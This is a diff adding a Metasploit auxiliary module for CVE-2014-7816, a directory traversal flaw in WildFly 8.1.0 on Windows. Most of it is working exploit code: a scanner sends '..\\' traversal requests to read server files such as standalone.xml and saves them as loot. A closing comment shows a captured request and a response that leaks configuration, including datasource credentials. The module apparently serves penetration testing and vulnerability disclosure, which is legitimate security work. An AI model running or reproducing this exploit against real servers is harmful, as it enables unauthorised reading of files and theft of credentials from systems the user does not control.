|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Auxiliary::Report |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Auxiliary::Scanner |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'WildFly 8 Directory Traversal', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a directory traversal vulnerability found in the WildFly 8.1.0.Final |
| 19 | + web server running on port 8080, named JBoss Undertow. The vulnerability only affects to |
| 20 | + Windows systems. |
| 21 | + }, |
| 22 | + 'References' => |
| 23 | + [ |
| 24 | + ['CVE', '2014-7816' ], |
| 25 | + ['URL', 'https://access.redhat.com/security/cve/CVE-2014-7816'], |
| 26 | + ['URL', 'https://www.conviso.com.br/advisories/CONVISO-14-001.txt'], |
| 27 | + ['URL', 'http://www.openwall.com/lists/oss-security/2014/11/27/4'] |
| 28 | + ], |
| 29 | + 'Author' => 'Roberto Soares Espreto <robertoespreto[at]gmail.com>', |
| 30 | + 'License' => MSF_LICENSE, |
| 31 | + 'DisclosureDate' => 'Oct 22 2014' |
| 32 | + )) |
| 33 | + |
| 34 | + register_options( |
| 35 | + [ |
| 36 | + Opt::RPORT(8080), |
| 37 | + OptString.new('RELATIVE_FILE_PATH', [true, 'Relative path to the file to read', 'standalone\\configuration\\standalone.xml']), |
| 38 | + OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 1]) |
| 39 | + ], self.class) |
| 40 | + end |
| 41 | + |
| 42 | + def run_host(ip) |
| 43 | + vprint_status("#{peer} - Attempting to download: #{datastore['RELATIVE_FILE_PATH']}") |
| 44 | + |
| 45 | + traversal = "..\\" * datastore['TRAVERSAL_DEPTH'] |
| 46 | + res = send_request_raw({ |
| 47 | + 'method' => 'GET', |
| 48 | + 'uri' => "/#{traversal}\\#{datastore['RELATIVE_FILE_PATH']}" |
| 49 | + }) |
| 50 | + |
| 51 | + if res && |
| 52 | + res.code == 200 && |
| 53 | + res.headers['Server'] && |
| 54 | + res.headers['Server'] =~ /WildFly/ |
| 55 | + vprint_line(res.to_s) |
| 56 | + fname = File.basename(datastore['RELATIVE_FILE_PATH']) |
| 57 | + |
| 58 | + path = store_loot( |
| 59 | + 'wildfly.http', |
| 60 | + 'application/octet-stream', |
| 61 | + ip, |
| 62 | + res.body, |
| 63 | + fname |
| 64 | + ) |
| 65 | + print_good("#{peer} - File saved in: #{path}") |
| 66 | + else |
| 67 | + vprint_error("#{peer} - Nothing was downloaded") |
| 68 | + end |
| 69 | + end |
| 70 | +end |
| 71 | + |
| 72 | +=begin |
| 73 | +GET /..\\standalone\\configuration\\standalone.xml HTTP/1.1 |
| 74 | +User-Agent: curl/7.38.0 |
| 75 | +Host: 127.0.0.1:8080 |
| 76 | +Accept: */* |
| 77 | +
|
| 78 | +HTTP/1.1 200 OK |
| 79 | +Connection: keep-alive |
| 80 | +Last-Modified: Wed, 22 Oct 2014 14:37:28 GMT |
| 81 | +X-Powered-By: Undertow/1 |
| 82 | +Server: WildFly/8 |
| 83 | +Content-Type: text/xml |
| 84 | +Content-Length: 19697 |
| 85 | +Date: Wed, 22 Oct 2014 16:32:08 GMT |
| 86 | +
|
| 87 | +<?xml version='1.0' encoding='UTF-8'?> |
| 88 | +
|
| 89 | +<server xmlns="urn:jboss:domain:2.1"> |
| 90 | +<extensions> |
| 91 | +<extension module="org.jboss.as.clustering.infinispan"/> |
| 92 | +...snip... |
| 93 | +<subsystem xmlns="urn:jboss:domain:datasources:2.0"> |
| 94 | +<datasources> |
| 95 | +<datasource jndi-name="java:jboss/datasources/ExampleDS" pool-name="ExampleDS" enabled="true" use-java-context="true"> |
| 96 | +<connection-url>jdbc:h2:mem:test;DB_CLOSE_DELAY=-1;DB_CLOSE_ON_EXIT=FALSE</connection-url> |
| 97 | +<driver>h2</driver> |
| 98 | +<security> |
| 99 | +<user-name>sa</user-name> |
| 100 | +<password>sa</password> |
| 101 | +</security> |
| 102 | +</datasource> |
| 103 | +<drivers> |
| 104 | +<driver name="h2" module="com.h2database.h2"> |
| 105 | +<xa-datasource-class>org.h2.jdbcx.JdbcDataSource</xa-datasource-class> |
| 106 | +...snip... |
| 107 | +=end |
0 commit comments